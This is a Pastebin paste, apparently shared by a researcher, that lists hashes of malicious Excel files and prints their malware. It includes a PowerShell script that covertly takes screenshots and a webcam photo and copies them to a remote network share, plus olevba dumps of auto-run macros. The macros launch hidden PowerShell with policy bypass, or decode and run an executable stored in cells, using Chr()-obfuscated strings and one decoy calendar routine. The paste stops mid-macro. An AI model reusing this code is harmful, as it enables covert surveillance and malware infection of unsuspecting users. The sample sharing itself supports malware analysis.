SHARE
TWEET

[XLS/PS malware] Uploaded by @JohnLaTwC

a guest Feb 16th, 2017 3,184 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # uploaded by @JohnLaTwC
  2. # XLS macro malware that takes webcam pictures
  3.  
  4. 1509fc5354735f98c7c1cbf419baf615da70142fe8939fd8c33095f25ae30366
  5. 45f1902f70e7d1a0a29c7919110b58cb03d4f4e688606a1123cbc43b6499e648
  6. 51050166eb992f073be6618115b91031a545488af9fcc26326a7309b8b66e365
  7. 533632514704e85f618237b9327ec54fd09471ec73e2a2e3ebe1824ae2c4f4aa
  8. 8c930e756001bb46deb6c98f3a5504f46fe049976ea25a33f418e647b75b8c00
  9. a0c18bb5051fe67f1b767403876eb0cfe20b2e0a029d52e05b75d40fcbf4139f
  10. a89ed8a2f30adb66b9c98bbf20422ecae903510f40a7d179f0629a27975a1938
  11. e17c7e9eca5ffd6cacc4e66f99b569a15e6eb37432f2424bb70a23afb6145cb3
  12. e222774c51081a82a8af62413e3d750cb36689cd6611ec11eed1819a510a4210
  13.  
  14.  
  15. #webcam PowerShell
  16. #######################################################################################
  17. # RT_Watcher.ps1 - grabs screenshots and 1 webcam image
  18. # Captures 5 screenshots and outputs to RT X, C:\HP or C:\. If not available, exits. =(
  19. # Delay time set to 30 seconds.
  20. # Written by: sil3n7h
  21. # RT_Watcher.ps1 - grabs screenshots and 1 webcam image
  22. #######################################################################################
  23.  
  24. $username=$env:UserName
  25. Write-Output $username 
  26. $hname=$env:computername
  27. Write-Output $hname
  28.  
  29. $i=1
  30. While ($i -le 5){
  31.  
  32. $time=Get-Date -format 'dd-MMM-yyyy-HH-mm-ss'
  33. Write-Output $time
  34.  
  35. # Check to see if path to RED X exists
  36. if (Test-Path \\143.16.176.125\x) {
  37.     $File = '\\143.16.176.125\x\' + $username + '_' + $hname + '_' + $time + '.jpg'
  38.     $BasePath = '\\143.16.176.125\x\' + $username + '_' + $hname + '_'
  39. }
  40. ElseIf (Test-Path C:\HP) {
  41.     $File = 'C:\HP\' + $username + '_' + $hname + '_' + $time + '.jpg'
  42.     $BasePath = 'C:\HP\' + $username + '_' + $hname + '_'
  43. }
  44. ElseIf (Test-Path C:) {
  45.     $File = 'C:\' + $username + '_' + $hname + '_' + $time + '.jpg'
  46.     $BasePath = 'C:\' + $username + '_' + $hname + '_'
  47. }
  48. Else {
  49.     # You are shit out of luck
  50.     exit
  51. }
  52.  
  53. Add-Type -AssemblyName System.Windows.Forms
  54. Add-type -AssemblyName System.Drawing
  55.  
  56. # Gather Screen resolution information
  57. $Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
  58. $Width = $Screen.Width
  59. $Height = $Screen.Height
  60. $Left = $Screen.Left
  61. $Top = $Screen.Top
  62.  
  63. # Create bitmap using the top-left and bottom-right bounds
  64. $bitmap = New-Object System.Drawing.Bitmap $Width, $Height
  65.  
  66. # Create Graphics object
  67. $graphic = [System.Drawing.Graphics]::FromImage($bitmap)
  68.  
  69. # Capture screen
  70. $graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)
  71.  
  72. # Save to file
  73. $bitmap.Save($File, ([system.drawing.imaging.imageformat]::jpeg))
  74. Write-Output 'Screenshot saved to:'
  75. Write-Output $File
  76.  
  77. $graphic.dispose()
  78. $bitmap.dispose()
  79.  
  80. Start-Sleep -Seconds 30
  81. $i++
  82. }
  83.  
  84. #######################################################################################
  85. # Then attempts to capture webcam image. Shoddy code, sorry.
  86. # Requires -version 2.0
  87. #######################################################################################
  88.    
  89.    $source=@"
  90. using System;
  91. using System.Collections.Generic;
  92. using System.Text;
  93. using System.Collections;
  94. using System.Runtime.InteropServices;
  95. using System.ComponentModel;
  96. using System.Data;
  97. using System.Drawing;
  98. using System.Windows.Forms;
  99.  
  100. namespace WebCamLib
  101. {
  102.    public class Device
  103.    {
  104.        private const short WM_CAP = 0x400;
  105.        private const int WM_CAP_DRIVER_CONNECT = 0x40a;
  106.        private const int WM_CAP_DRIVER_DISCONNECT = 0x40b;
  107.        private const int WM_CAP_EDIT_COPY = 0x41e;
  108.        private const int WM_CAP_SET_PREVIEW = 0x432;
  109.        private const int WM_CAP_SET_OVERLAY = 0x433;
  110.        private const int WM_CAP_SET_PREVIEWRATE = 0x434;
  111.        private const int WM_CAP_SET_SCALE = 0x435;
  112.        private const int WS_CHILD = 0x40000000;
  113.        private const int WS_VISIBLE = 0x10000000;
  114.  
  115.        [DllImport("avicap32.dll")]
  116.        protected static extern int capCreateCaptureWindowA([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszWindowName,
  117.            int dwStyle, int x, int y, int nWidth, int nHeight, int hWndParent, int nID);
  118.  
  119.        [DllImport("user32", EntryPoint = "SendMessageA")]
  120.        protected static extern int SendMessage(int hwnd, int wMsg, int wParam, [MarshalAs(UnmanagedType.AsAny)] object lParam);
  121.  
  122.        [DllImport("user32")]
  123.        protected static extern int SetWindowPos(int hwnd, int hWndInsertAfter, int x, int y, int cx, int cy, int wFlags);
  124.  
  125.        [DllImport("user32")]
  126.        protected static extern bool DestroyWindow(int hwnd);
  127.                
  128.        int index;
  129.        int deviceHandle;
  130.  
  131.        public Device(int index)
  132.        {
  133.            this.index = index;
  134.        }
  135.  
  136.        private string _name;
  137.  
  138.        public string Name
  139.        {
  140.            get { return _name; }
  141.            set { _name = value; }
  142.        }
  143.  
  144.        private string _version;
  145.  
  146.        public string Version
  147.        {
  148.            get { return _version; }
  149.            set { _version = value; }
  150.        }
  151.  
  152.        public override string ToString()
  153.        {
  154.            return this.Name;
  155.        }
  156.  
  157.        public void Init(int windowHeight, int windowWidth, int handle)
  158.        {
  159.            string deviceIndex = Convert.ToString(this.index);
  160.            deviceHandle = capCreateCaptureWindowA(ref deviceIndex, WS_VISIBLE | WS_CHILD, 0, 0, windowWidth, windowHeight, handle, 0);
  161.  
  162.            if (SendMessage(deviceHandle, WM_CAP_DRIVER_CONNECT, this.index, 0) > 0)
  163.            {
  164.                SendMessage(deviceHandle, WM_CAP_SET_SCALE, -1, 0);
  165.                SendMessage(deviceHandle, WM_CAP_SET_PREVIEWRATE, 0x42, 0);
  166.                SendMessage(deviceHandle, WM_CAP_SET_PREVIEW, -1, 0);
  167.                SetWindowPos(deviceHandle, 1, 0, 0, windowWidth, windowHeight, 6);
  168.            }
  169.        }
  170.  
  171.        public void ShowWindow(global::System.Windows.Forms.Control windowsControl)
  172.        {
  173.            Init(windowsControl.Height, windowsControl.Width, windowsControl.Handle.ToInt32());                        
  174.        }
  175.        
  176.        public void CopyC()
  177.        {
  178.           SendMessage(this.deviceHandle, WM_CAP_EDIT_COPY, 0, 0);          
  179.        }
  180.  
  181.        public void Stop()
  182.        {
  183.            SendMessage(deviceHandle, WM_CAP_DRIVER_DISCONNECT, this.index, 0);
  184.            DestroyWindow(deviceHandle);
  185.        }
  186.    }
  187.    
  188.    public class DeviceManager
  189.    {
  190.        [DllImport("avicap32.dll")]
  191.        protected static extern bool capGetDriverDescriptionA(short wDriverIndex,
  192.            [MarshalAs(UnmanagedType.VBByRefStr)]ref String lpszName,
  193.           int cbName, [MarshalAs(UnmanagedType.VBByRefStr)] ref String lpszVer, int cbVer);
  194.  
  195.        static ArrayList devices = new ArrayList();
  196.  
  197.        public static Device[] GetAllDevices()
  198.        {
  199.            String dName = "".PadRight(100);
  200.            String dVersion = "".PadRight(100);
  201.  
  202.            for (short i = 0; i < 10; i++)
  203.            {
  204.                if (capGetDriverDescriptionA(i, ref dName, 100, ref dVersion, 100))
  205.                {
  206.                    Device d = new Device(i);
  207.                    d.Name = dName.Trim();
  208.                    d.Version = dVersion.Trim();
  209.                    devices.Add(d);                    
  210.                }
  211.            }
  212.  
  213.            return (Device[])devices.ToArray(typeof(Device));
  214.        }
  215.  
  216.        public static Device GetDevice(int deviceIndex)
  217.        {
  218.            return (Device)devices[deviceIndex];
  219.        }
  220.    }
  221. }
  222. "@
  223.  
  224. $picCapture = New-Object System.Windows.Forms.PictureBox
  225.  
  226. Add-Type -AssemblyName System.Drawing      
  227. Add-Type -TypeDefinition $source -ReferencedAssemblies System.Windows.Forms, System.Data, System.Drawing
  228.  
  229. try {
  230.  
  231. $time=Get-Date -format 'dd-MMM-yyyy-HH-mm-ss'
  232.        
  233. #Get list of webcam devices
  234. $devices = [WebCamLib.DeviceManager]::GetAllDevices()
  235. foreach ($d in $devices)
  236. {
  237.    #$cmbDevices.Items.Add($d) | Out-Null
  238. }
  239.  
  240. $firstd = [WebCamLib.DeviceManager]::GetDevice(0)
  241. $firstd.ShowWindow($picCapture)
  242.  
  243. [windows.forms.clipboard]::clear()
  244.     $firstd.CopyC()      
  245.     $bitmap = [Windows.Forms.Clipboard]::GetImage()  
  246.     $newpath = $BasePath + $time + '.jpg'
  247.      
  248.     if ($bitmap -ne $null)
  249.     {              
  250.        $bitmap.Save($newpath, ([system.drawing.imaging.imageformat]::jpeg))
  251.        Write-host 'Snap taken '$File''
  252.        $bitmap.dispose()
  253.        [windows.forms.clipboard]::clear()
  254.     }
  255.     else
  256.     {
  257.        write-host 'no image on clipboard'
  258.     }
  259.    
  260. $picCapture.BackColor = [System.Drawing.Color]::FromArgb(255,0,0,0)
  261. $firstd.Stop()
  262.  
  263. exit
  264.  
  265. }
  266. catch {
  267. break
  268. }
  269.  
  270. exit
  271.  
  272.  
  273.  
  274.  
  275. # macro source
  276. olevba 0.50 - http://decalage.info/python/oletools
  277. Flags        Filename                                                        
  278. -----------  -----------------------------------------------------------------
  279. OLE:MASIH--- 1509fc5354735f98c7c1cbf419baf615da70142fe8939fd8c33095f25ae30366
  280. ===============================================================================
  281. FILE: 1509fc5354735f98c7c1cbf419baf615da70142fe8939fd8c33095f25ae30366
  282. Type: OLE
  283. -------------------------------------------------------------------------------
  284. VBA MACRO ThisWorkbook.cls
  285. in file: 1509fc5354735f98c7c1cbf419baf615da70142fe8939fd8c33095f25ae30366 - OLE stream: u'_VBA_PROJECT_CUR/VBA/ThisWorkbook'
  286. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  287. (empty macro)
  288. -------------------------------------------------------------------------------
  289. VBA MACRO Sheet1.cls
  290. in file: 1509fc5354735f98c7c1cbf419baf615da70142fe8939fd8c33095f25ae30366 - OLE stream: u'_VBA_PROJECT_CUR/VBA/Sheet1'
  291. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  292. (empty macro)
  293. -------------------------------------------------------------------------------
  294. VBA MACRO Module1.bas
  295. in file: 1509fc5354735f98c7c1cbf419baf615da70142fe8939fd8c33095f25ae30366 - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  296. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  297. Sub Auto_Open()
  298.  
  299.     Call e3OljP3R
  300.  
  301.     Application.ScreenUpdating = False
  302.     Sheets("Agenda").Visible = True
  303.     Sheets("Sheet1").Visible = False
  304.     Application.ScreenUpdating = True
  305. End Sub
  306.  
  307.  
  308. Function GetVal(sr As Long, er As Long, c As Long)
  309.     Dim x
  310.     For i = sr To er
  311.         x = x + Cells(i, c)
  312.     Next
  313.     GetVal = x
  314. End Function
  315.  
  316.  
  317. Sub e3OljP3R()
  318.     Dim x As String
  319.     x = GetVal(11713, 11713, 203)
  320.     x = Replace(x, """", "\""")
  321.     Dim c As String
  322.     c = "powershell.exe -nop -noni -windowstyle hidden -exec bypass -command " & Chr(34) & x & Chr(34)
  323.     Set s = CreateObject("wscript.shell")
  324.     s.Run c, 0
  325. End Sub
  326.  
  327.  
  328. -------------------------------------------------------------------------------
  329. VBA MACRO Sheet2.cls
  330. in file: 1509fc5354735f98c7c1cbf419baf615da70142fe8939fd8c33095f25ae30366 - OLE stream: u'_VBA_PROJECT_CUR/VBA/Sheet2'
  331. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  332. (empty macro)
  333.  
  334. Attribute VB_Name SHA1  
  335. 4E7685D97A25C40003C29B6D075E3A7D87C7D5AC
  336. olevba 0.50 - http://decalage.info/python/oletools
  337. Flags        Filename                                                        
  338. -----------  -----------------------------------------------------------------
  339. ?            45f1902f70e7d1a0a29c7919110b58cb03d4f4e688606a1123cbc43b6499e6481 - File not found
  340. olevba 0.50 - http://decalage.info/python/oletools
  341. Flags        Filename                                                        
  342. -----------  -----------------------------------------------------------------
  343. OLE:MASIH--- 51050166eb992f073be6618115b91031a545488af9fcc26326a7309b8b66e365
  344. ===============================================================================
  345. FILE: 51050166eb992f073be6618115b91031a545488af9fcc26326a7309b8b66e365
  346. Type: OLE
  347. -------------------------------------------------------------------------------
  348. VBA MACRO ThisWorkbook.cls
  349. in file: 51050166eb992f073be6618115b91031a545488af9fcc26326a7309b8b66e365 - OLE stream: u'_VBA_PROJECT_CUR/VBA/ThisWorkbook'
  350. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  351. (empty macro)
  352. -------------------------------------------------------------------------------
  353. VBA MACRO Sheet1.cls
  354. in file: 51050166eb992f073be6618115b91031a545488af9fcc26326a7309b8b66e365 - OLE stream: u'_VBA_PROJECT_CUR/VBA/Sheet1'
  355. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  356. (empty macro)
  357. -------------------------------------------------------------------------------
  358. VBA MACRO Module1.bas
  359. in file: 51050166eb992f073be6618115b91031a545488af9fcc26326a7309b8b66e365 - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  360. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  361. Sub Auto_Open()
  362.  
  363.     Call eLIyTUc5
  364.  
  365. End Sub
  366.  
  367.  
  368. Function GetVal(sr As Long, er As Long, c As Long)
  369.     Dim x
  370.     For i = sr To er
  371.         x = x + Cells(i, c)
  372.     Next
  373.     GetVal = x
  374. End Function
  375.  
  376.  
  377. Sub eLIyTUc5()
  378.     Dim x As String
  379.     x = GetVal(44692, 44693, 236)
  380.     x = Replace(x, """", "\""")
  381.     Dim c As String
  382.     c = "powershell.exe" & x
  383.     wscript.Shell.Run c, 0
  384. End Sub
  385.  
  386.  
  387.  
  388. Attribute VB_Name SHA1  
  389. 2BE65C78A37EA85C015905714FE74D0B85FE7A33
  390. olevba 0.50 - http://decalage.info/python/oletools
  391. Flags        Filename                                                        
  392. -----------  -----------------------------------------------------------------
  393. OLE:MASIH--- 533632514704e85f618237b9327ec54fd09471ec73e2a2e3ebe1824ae2c4f4aa
  394. ===============================================================================
  395. FILE: 533632514704e85f618237b9327ec54fd09471ec73e2a2e3ebe1824ae2c4f4aa
  396. Type: OLE
  397. -------------------------------------------------------------------------------
  398. VBA MACRO ThisWorkbook.cls
  399. in file: 533632514704e85f618237b9327ec54fd09471ec73e2a2e3ebe1824ae2c4f4aa - OLE stream: u'_VBA_PROJECT_CUR/VBA/ThisWorkbook'
  400. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  401. (empty macro)
  402. -------------------------------------------------------------------------------
  403. VBA MACRO Sheet1.cls
  404. in file: 533632514704e85f618237b9327ec54fd09471ec73e2a2e3ebe1824ae2c4f4aa - OLE stream: u'_VBA_PROJECT_CUR/VBA/Sheet1'
  405. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  406. (empty macro)
  407. -------------------------------------------------------------------------------
  408. VBA MACRO Module1.bas
  409. in file: 533632514704e85f618237b9327ec54fd09471ec73e2a2e3ebe1824ae2c4f4aa - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  410. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  411. Sub Auto_Open()
  412.  
  413.     Call e3OljP3R
  414.  
  415. End Sub
  416.  
  417.  
  418. Function GetVal(sr As Long, er As Long, c As Long)
  419.     Dim x
  420.     For i = sr To er
  421.         x = x + Cells(i, c)
  422.     Next
  423.     GetVal = x
  424. End Function
  425.  
  426.  
  427. Sub e3OljP3R()
  428.     Dim x As String
  429.     x = GetVal(11713, 11713, 203)
  430.     x = Replace(x, """", "\""")
  431.     Dim c As String
  432.     c = "powershell.exe -nop -noni -windowstyle hidden -exec bypass -command " & Chr(34) & x & Chr(34)
  433.     Set s = CreateObject("wscript.shell")
  434.     s.Run c, 0
  435. End Sub
  436.  
  437.  
  438.  
  439. Attribute VB_Name SHA1  
  440. C85C0562B388419F2B8DEB80A8C56FB081C2E58B
  441. olevba 0.50 - http://decalage.info/python/oletools
  442. Flags        Filename                                                        
  443. -----------  -----------------------------------------------------------------
  444. OLE:MAS-H--- 8c930e756001bb46deb6c98f3a5504f46fe049976ea25a33f418e647b75b8c00
  445. ===============================================================================
  446. FILE: 8c930e756001bb46deb6c98f3a5504f46fe049976ea25a33f418e647b75b8c00
  447. Type: OLE
  448. -------------------------------------------------------------------------------
  449. VBA MACRO ThisWorkbook.cls
  450. in file: 8c930e756001bb46deb6c98f3a5504f46fe049976ea25a33f418e647b75b8c00 - OLE stream: u'_VBA_PROJECT_CUR/VBA/ThisWorkbook'
  451. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  452. (empty macro)
  453. -------------------------------------------------------------------------------
  454. VBA MACRO Sheet1.cls
  455. in file: 8c930e756001bb46deb6c98f3a5504f46fe049976ea25a33f418e647b75b8c00 - OLE stream: u'_VBA_PROJECT_CUR/VBA/Sheet1'
  456. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  457. (empty macro)
  458. -------------------------------------------------------------------------------
  459. VBA MACRO Module1.bas
  460. in file: 8c930e756001bb46deb6c98f3a5504f46fe049976ea25a33f418e647b75b8c00 - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  461. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  462. Sub Auto_Open()
  463.  
  464.     Call SqP5snBH
  465.  
  466. End Sub
  467.  
  468.  
  469. Function GetVal(sr As Long, er As Long, c As Long)
  470.     Dim x
  471.     For i = sr To er
  472.         x = x + Cells(i, c)
  473.     Next
  474.     GetVal = x
  475. End Function
  476.  
  477.  
  478. Function rndname()
  479.     Dim r As String
  480.     Dim i As Integer
  481.      
  482.     For i = 1 To 8
  483.         If i Mod 2 = 0 Then
  484.             r = Chr(Int((90 - 65 + 1) * Rnd + 65)) & r
  485.         Else
  486.             r = Int((9 * Rnd) + 1) & r
  487.         End If
  488.     Next i
  489.     rndname = r
  490. End Function
  491.  
  492.  
  493. Function dec(b64)
  494.     Dim DM, EL
  495.     Set DM = CreateObject(Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(68) & Chr(79) & Chr(77))
  496.     Set EL = DM.createElement(Chr(116) & Chr(109) & Chr(112))
  497.     EL.DataType = Chr(98) & Chr(105) & Chr(110) & Chr(46) & Chr(98) & Chr(97) & Chr(115) & Chr(101) & Chr(54) & Chr(52)
  498.     EL.Text = b64
  499.     dec = EL.NodeTypedValue
  500. End Function
  501.  
  502.  
  503. Sub rit(file, bytes)
  504.     Dim b
  505.     Set b = CreateObject(Chr(65) & Chr(68) & Chr(79) & Chr(68) & Chr(66) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109))
  506.     b.Type = 1
  507.     b.Open
  508.     b.Write bytes
  509.     b.SaveToFile file, 2
  510. End Sub
  511.  
  512.  
  513. Sub SqP5snBH()
  514.     Dim p, pth As String
  515.     Dim b
  516.     pth = Application.UserLibraryPath & rndname & Chr(46) & Chr(101) & Chr(120) & Chr(101)
  517.     p = GetVal(44059, 44274, 169)
  518.     b = dec(p)
  519.     Call rit(pth, b)
  520.     Shell (pth)
  521. End Sub
  522.  
  523.  
  524.  
  525. Attribute VB_Name SHA1  
  526. F312894D6F03BCE444A1EBC834C61A79C5E82166
  527. olevba 0.50 - http://decalage.info/python/oletools
  528. Flags        Filename                                                        
  529. -----------  -----------------------------------------------------------------
  530. OLE:MASIHB-- a0c18bb5051fe67f1b767403876eb0cfe20b2e0a029d52e05b75d40fcbf4139f
  531. ===============================================================================
  532. FILE: a0c18bb5051fe67f1b767403876eb0cfe20b2e0a029d52e05b75d40fcbf4139f
  533. Type: OLE
  534. -------------------------------------------------------------------------------
  535. VBA MACRO ThisWorkbook.cls
  536. in file: a0c18bb5051fe67f1b767403876eb0cfe20b2e0a029d52e05b75d40fcbf4139f - OLE stream: u'_VBA_PROJECT_CUR/VBA/ThisWorkbook'
  537. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  538. (empty macro)
  539. -------------------------------------------------------------------------------
  540. VBA MACRO Sheet1.cls
  541. in file: a0c18bb5051fe67f1b767403876eb0cfe20b2e0a029d52e05b75d40fcbf4139f - OLE stream: u'_VBA_PROJECT_CUR/VBA/Sheet1'
  542. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  543. (empty macro)
  544. -------------------------------------------------------------------------------
  545. VBA MACRO Module1.bas
  546. in file: a0c18bb5051fe67f1b767403876eb0cfe20b2e0a029d52e05b75d40fcbf4139f - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  547. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  548. Sub Auto_Open()
  549.  
  550.     Call LinesOfBusiness.YELc22Qw
  551.  
  552. CalendarMaker
  553.  
  554. End Sub
  555.  
  556. Public Function CalendarMaker()
  557.  
  558.        ' Unprotect sheet if had previous calendar to prevent error.
  559.       ActiveSheet.Protect DrawingObjects:=False, Contents:=False, _
  560.          Scenarios:=False
  561.       ' Prevent screen flashing while drawing calendar.
  562.        Application.ScreenUpdating = False
  563.        ' Set up error trapping.
  564.       'On Error GoTo MyErrorTrap
  565.        With Range("a1")
  566.           If .MergeCells Then
  567.              .MergeArea.UnMerge
  568.           Else
  569.              MsgBox "not merged"
  570.           End If
  571.        End With
  572.        ' Clear area a1:g14 including any previous calendar.
  573.       Range("a1:g14").Clear
  574.       ' Use InputBox to get desired month and year and set variable
  575.        ' MyInput.
  576.       ''MyInput = InputBox("Type in Month and year for Calendar ")
  577.       ' Allow user to end macro with Cancel in InputBox.
  578.        ''If MyInput = "" Then Exit Sub
  579.        MyInput = "09/2016"
  580.        ' Get the date value of the beginning of inputted month.
  581.       StartDay = DateValue(MyInput)
  582.       ' Check if valid date but not the first of the month
  583.        ' -- if so, reset StartDay to first day of month.
  584.       If Day(StartDay) <> 1 Then
  585.           StartDay = DateValue(Month(StartDay) & "/1/" & _
  586.               Year(StartDay))
  587.       End If
  588.       ' Prepare cell for Month and Year as fully spelled out.
  589.        Range("a1").NumberFormat = "mmmm yyyy"
  590.        ' Center the Month and Year label across a1:g1 with appropriate
  591.       ' size, height and bolding.
  592.        With Range("a1:g1")
  593.            .HorizontalAlignment = xlCenterAcrossSelection
  594.            .VerticalAlignment = xlCenter
  595.            .Font.Size = 18
  596.            .Font.Bold = True
  597.            .RowHeight = 35
  598.        End With
  599.        ' Prepare a2:g2 for day of week labels with centering, size,
  600.       ' height and bolding.
  601.        With Range("a2:g2")
  602.            .ColumnWidth = 11
  603.            .VerticalAlignment = xlCenter
  604.            .HorizontalAlignment = xlCenter
  605.            .VerticalAlignment = xlCenter
  606.            .Orientation = xlHorizontal
  607.            .Font.Size = 12
  608.            .Font.Bold = True
  609.            .RowHeight = 20
  610.        End With
  611.        ' Put days of week in a2:g2.
  612.       Range("a2") = "Sunday"
  613.       Range("b2") = "Monday"
  614.       Range("c2") = "Tuesday"
  615.       Range("d2") = "Wednesday"
  616.       Range("e2") = "Thursday"
  617.       Range("f2") = "Friday"
  618.       Range("g2") = "Saturday"
  619.       ' Prepare a3:g7 for dates with left/top alignment, size, height
  620.        ' and bolding.
  621.       With Range("a3:g8")
  622.           .HorizontalAlignment = xlRight
  623.           .VerticalAlignment = xlTop
  624.           .Font.Size = 18
  625.           .Font.Bold = True
  626.           .RowHeight = 21
  627.       End With
  628.       ' Put inputted month and year fully spelling out into "a1".
  629.        Range("a1").Value = Application.Text(MyInput, "mmmm yyyy")
  630.        ' Set variable and get which day of the week the month starts.
  631.       DayofWeek = Weekday(StartDay)
  632.       ' Set variables to identify the year and month as separate
  633.        ' variables.
  634.       CurYear = Year(StartDay)
  635.       CurMonth = Month(StartDay)
  636.       ' Set variable and calculate the first day of the next month.
  637.        FinalDay = DateSerial(CurYear, CurMonth + 1, 1)
  638.        ' Place a "1" in cell position of the first day of the chosen
  639.       ' month based on DayofWeek.
  640.        Select Case DayofWeek
  641.            Case 1
  642.                Range("a3").Value = 1
  643.            Case 2
  644.                Range("b3").Value = 1
  645.            Case 3
  646.                Range("c3").Value = 1
  647.            Case 4
  648.                Range("d3").Value = 1
  649.            Case 5
  650.                Range("e3").Value = 1
  651.            Case 6
  652.                Range("f3").Value = 1
  653.            Case 7
  654.                Range("g3").Value = 1
  655.        End Select
  656.        ' Loop through range a3:g8 incrementing each cell after the "1"
  657.       ' cell.
  658.        For Each cell In Range("a3:g8")
  659.            RowCell = cell.Row
  660.            ColCell = cell.Column
  661.            ' Do if "1" is in first column.
  662.           If cell.Column = 1 And cell.Row = 3 Then
  663.           ' Do if current cell is not in 1st column.
  664.            ElseIf cell.Column <> 1 Then
  665.                If cell.Offset(0, -1).Value >= 1 Then
  666.                    cell.Value = cell.Offset(0, -1).Value + 1
  667.                    ' Stop when the last day of the month has been
  668.                   ' entered.
  669.                    If cell.Value > (FinalDay - StartDay) Then
  670.                        cell.Value = ""
  671.                        ' Exit loop when calendar has correct number of
  672.                       ' days shown.
  673.                        Exit For
  674.                    End If
  675.                End If
  676.            ' Do only if current cell is not in Row 3 and is in Column 1.
  677.           ElseIf cell.Row > 3 And cell.Column = 1 Then
  678.               cell.Value = cell.Offset(-1, 6).Value + 1
  679.               ' Stop when the last day of the month has been entered.
  680.                If cell.Value > (FinalDay - StartDay) Then
  681.                    cell.Value = ""
  682.                    ' Exit loop when calendar has correct number of days
  683.                   ' shown.
  684.                    Exit For
  685.                End If
  686.            End If
  687.        Next
  688.  
  689.        ' Create Entry cells, format them centered, wrap text, and border
  690.       ' around days.
  691.        For x = 0 To 5
  692.            Range("A4").Offset(x * 2, 0).EntireRow.Insert
  693.            With Range("A4:G4").Offset(x * 2, 0)
  694.                .RowHeight = 65
  695.                .HorizontalAlignment = xlCenter
  696.                .VerticalAlignment = xlTop
  697.                .WrapText = True
  698.                .Font.Size = 10
  699.                .Font.Bold = False
  700.                ' Unlock these cells to be able to enter text later after
  701.               ' sheet is protected.
  702.                .Locked = False
  703.            End With
  704.            ' Put border around the block of dates.
  705.           With Range("A3").Offset(x * 2, 0).Resize(2, _
  706.           7).Borders(xlLeft)
  707.               .Weight = xlThick
  708.               .ColorIndex = xlAutomatic
  709.           End With
  710.  
  711.           With Range("A3").Offset(x * 2, 0).Resize(2, _
  712.           7).Borders(xlRight)
  713.               .Weight = xlThick
  714.               .ColorIndex = xlAutomatic
  715.           End With
  716.           Range("A3").Offset(x * 2, 0).Resize(2, 7).BorderAround _
  717.              Weight:=xlThick, ColorIndex:=xlAutomatic
  718.       Next
  719.       If Range("A13").Value = "" Then Range("A13").Offset(0, 0) _
  720.          .Resize(2, 8).EntireRow.Delete
  721.       ' Turn off gridlines.
  722.        ActiveWindow.DisplayGridlines = False
  723.        ' Protect sheet to prevent overwriting the dates.
  724.       ActiveSheet.Protect DrawingObjects:=True, Contents:=True, _
  725.          Scenarios:=True
  726.  
  727.       ' Resize window to show all of calendar (may have to be adjusted
  728.        ' for video configuration).
  729.       ActiveWindow.WindowState = xlMaximized
  730.       ActiveWindow.ScrollRow = 1
  731.  
  732.       ' Allow screen to redraw with calendar showing.
  733.        Application.ScreenUpdating = True
  734.        ' Prevent going to error trap unless error found by exiting Sub
  735.       ' here.
  736.        Exit Function
  737.    ' Error causes msgbox to indicate the problem, provides new input box,
  738.   ' and resumes at the line that caused the error.
  739. MyErrorTrap:
  740.        MsgBox "You may not have entered your Month and Year correctly." _
  741.            & Chr(13) & "Spell the Month correctly" _
  742.            & " (or use 3 letter abbreviation)" _
  743.            & Chr(13) & "and 4 digits for the Year"
  744.        MyInput = InputBox("Type in Month and year for Calendar")
  745.        If MyInput = "" Then Exit Function
  746.        Resume
  747. End Function
  748.  
  749. -------------------------------------------------------------------------------
  750. VBA MACRO LinesOfBusiness.bas
  751. in file: a0c18bb5051fe67f1b767403876eb0cfe20b2e0a029d52e05b75d40fcbf4139f - OLE stream: u'_VBA_PROJECT_CUR/VBA/LinesOfBusiness'
  752. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  753.  
  754. Function GetVal(sr As Long, er As Long, c As Long)
  755.     Dim x
  756.     For i = sr To er
  757.         x = x + Cells(i, c)
  758.     Next
  759.     GetVal = x
  760. End Function
  761.  
  762.  
  763. Function rndname()
  764.     Dim r As String
  765.     Dim i As Integer
  766.      
  767.     For i = 1 To 8
  768.         If i Mod 2 = 0 Then
  769.             r = Chr(Int((90 - 65 + 1) * Rnd + 65)) & r
  770.         Else
  771.             r = Int((9 * Rnd) + 1) & r
  772.         End If
  773.     Next i
  774.     rndname = r
  775. End Function
  776.  
  777.  
  778. Sub YELc22Qw()
  779.     Dim x, c As String
  780.     x = GetVal(33761, 33761, 218)
  781.     c = "poW" & Chr(101) & Chr(114) & Chr(83) & Chr(104) & Chr(101) & Chr(76) & "l.eXe -nop -noni " & _
  782.     "-win" & Chr(100) & Chr(111) & Chr(119) & Chr(115) & Chr(116) & Chr(121) & Chr(108) & Chr(101) & Chr(32) & Chr(104) & Chr(105) & Chr(100) & _
